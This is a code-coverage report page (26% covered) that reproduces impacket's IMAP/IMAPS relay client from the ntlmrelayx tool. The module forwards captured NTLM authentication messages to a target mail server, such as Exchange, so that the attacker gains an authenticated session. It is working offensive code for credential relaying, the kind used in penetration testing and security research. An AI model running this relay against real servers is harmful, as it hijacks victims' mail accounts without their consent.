Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/imaprelayclient.py: 26%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/imaprelayclient.py : 26%

## 69 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.

2#

3# This software is provided under under a slightly modified version

4# of the Apache Software License. See the accompanying LICENSE file

5# for more information.

6#

7# IMAP Protocol Client

8#

9# Author:

10# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)

11# Alberto Solino (@agsolino)

12#

13# Description:

14# IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange

15#

16 import imaplib

17 import base64

18 from struct import unpack

19

20 from impacket import LOG

21 from impacket.examples.ntlmrelayx.clients import ProtocolClient

22 from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED

23 from impacket.ntlm import NTLMAuthChallenge

24 from impacket.spnego import SPNEGO_NegTokenResp

25

26 PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"]

27

28 class IMAPRelayClient(ProtocolClient):

29 PLUGIN_NAME = "IMAP"

30

31 def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ):

32 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)

33

34 def initConnection(self):

35 self.session = imaplib.IMAP4(self.targetHost,self.targetPort)

36 self.authTag = self.session._new_tag()

37 LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))

38 if 'AUTH=NTLM' not in self.session.capabilities:

39 LOG.error('IMAP server does not support NTLM authentication!')

40 return False

41 return True

42

43 def sendNegotiate(self,negotiateMessage):

44 negotiate = base64.b64encode(negotiateMessage)

45 self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF))

46 resp = self.session.readline().strip()

47 if resp != '+':

48 LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp)

49 return False

50 else:

51 self.session.send(negotiate + imaplib.CRLF)

52 try:

53 serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char

54 serverChallenge = base64.b64decode(serverChallengeBase64)

55 challenge = NTLMAuthChallenge()

56 challenge.fromString(serverChallenge)

57 return challenge

58 except (IndexError, KeyError, AttributeError):

59 LOG.error('No NTLM challenge returned from IMAP server')

60 raise

61

62 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

63 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:

64 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)

65 token = respToken2['ResponseToken']

66 else:

67 token = authenticateMessageBlob

68 auth = base64.b64encode(token)

69 self.session.send(auth + imaplib.CRLF)

70 typ, data = self.session._get_tagged_response(self.authTag)

71 if typ == 'OK':

72 self.session.state = 'AUTH'

73 return None, STATUS_SUCCESS

74 else:

75 LOG.error('IMAP: %s' % ' '.join(data))

76 return None, STATUS_ACCESS_DENIED

77

78 def killConnection(self):

79 if self.session is not None:

80 self.session.logout()

81 self.session = None

82

83 def keepAlive(self):

84 # Send a NOOP

85 self.session.noop()

86

87 class IMAPSRelayClient(IMAPRelayClient):

88 PLUGIN_NAME = "IMAPS"

89

90 def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ):

91 ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity)

92

93 def initConnection(self):

94 self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort)

95 self.authTag = self.session._new_tag()

96 LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities))

97 if 'AUTH=NTLM' not in self.session.capabilities:

98 LOG.error('IMAP server does not support NTLM authentication!')

99 return False

100 return True